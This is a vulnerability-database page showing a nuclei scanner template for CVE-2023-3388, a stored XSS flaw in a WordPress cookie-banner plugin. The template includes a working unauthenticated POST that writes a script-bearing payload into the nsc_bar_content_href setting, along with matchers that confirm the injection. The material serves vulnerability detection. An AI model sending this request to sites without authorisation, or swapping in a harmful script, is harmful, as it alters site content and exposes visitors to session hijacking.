Lucene search
K

Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting

🗓️ 02 Jul 2026 09:36:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 13 Views

Beautiful Cookie Consent Banner WordPress plugin stores XSS via nsc_bar_content_href; fixed in 2.10.2.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-3388
4 Sep 202521:02
circl
CNNVD
WordPress plugin Beautiful Cookie Consent Banner 跨站脚本漏洞
23 Jun 202300:00
cnnvd
CVE
CVE-2023-3388
24 Jun 202302:00
cve
Cvelist
CVE-2023-3388 Beautiful Cookie Consent Banner <= 2.10.1 - Unauthenticated Stored Cross-Site Scripting
24 Jun 202302:00
cvelist
NVD
CVE-2023-3388
24 Jun 202303:15
nvd
OSV
CVE-2023-3388
24 Jun 202303:15
osv
Prion
Cross site scripting
24 Jun 202303:15
prion
Positive Technologies
PT-2023-24531
24 Jun 202300:00
ptsecurity
RedhatCVE
CVE-2023-3388
23 May 202506:05
redhatcve
VulnCheck KEV
VulnCheck KEV: CVE-2023-3388
1 Feb 202300:00
vulncheck_kev
Rows per page
id: CVE-2023-3388

info:
  name: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.10.2 or later.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2857982%40beautiful-and-responsive-cookie-consent&new=2857982%40beautiful-and-responsive-cookie-consent&sfp_email=&sfph_mail=
    - https://www.wordfence.com/blog/2023/05/wordfence-firewall-blocks-bizarre-large-scale-xss-campaign/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/542a4079-b1a2-49bc-9ddd-ba7978c9992e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2023-3388
    cwe-id: CWE-79
    epss-score: 0.84461
    epss-percentile: 0.9967
    cpe: cpe:2.3:a:beautiful-cookie-banner:beautiful_cookie_consent_banner:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: beautiful-cookie-banner
    product: beautiful_cookie_consent_banner
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,beautiful-cookie-banner,xss,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsc_bar_activate_banner=1&nsc_bar_activate_test_banner=0&nsc_bar_content_href=%22%20style%3ddisplay%3ablock%3bcontent-visibility%3aauto%20oncontentvisibilityautostatechange%3d%22alert(document.domain)&nsc_bar_type=opt-in

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'window\.cookieconsent\.initialise\({'
          - '"href":\s+"\\" style=display:block;content-visibility:auto oncontentvisibilityautostatechange=\\"alert\(document\.domain\)"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201eeafc17f182978517f9d67314308a7bb34b5a8ddf8f1f2913f90314a514fd1c022100a8584c56c2c89d2c99de18d79c18dcbbc5874bb4bbb728be1fb2ea2ad10fa799:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.16.1 - 7.2
EPSS0.84461
SSVC
13